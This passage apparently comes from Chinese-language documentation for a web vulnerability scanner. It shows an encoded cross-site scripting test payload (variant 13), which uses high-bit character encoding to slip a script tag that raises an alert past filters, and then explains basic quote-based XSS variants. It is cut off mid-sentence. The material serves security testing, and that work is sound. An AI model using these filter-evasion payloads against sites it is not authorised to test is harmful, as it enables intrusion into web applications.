[13] %A7%A2%BE%Bc%F3%E3%F2%E9%F0%F4%Be%E1%Ec%E5%F2%F4%A8%A7Watchfire% 20XSS%20Test%20Successful%A7%A9%Bc%Af%F3%E3%F2%E9%F0%F4%Be

变体详细信息:

测试变体 [1] 和 [2]:这些都是最基本的跨站点脚本编制变体。两个变体之间的差异是在 JavaScript 代码中对引号或单引号的使用。部分 Web 应用程序程序员只清理用户输入中的单引号或引号,未同时清理两者。运行这两个变体都会检测到该漏洞。

测试变体 [3]:此测试变体是专为嵌入在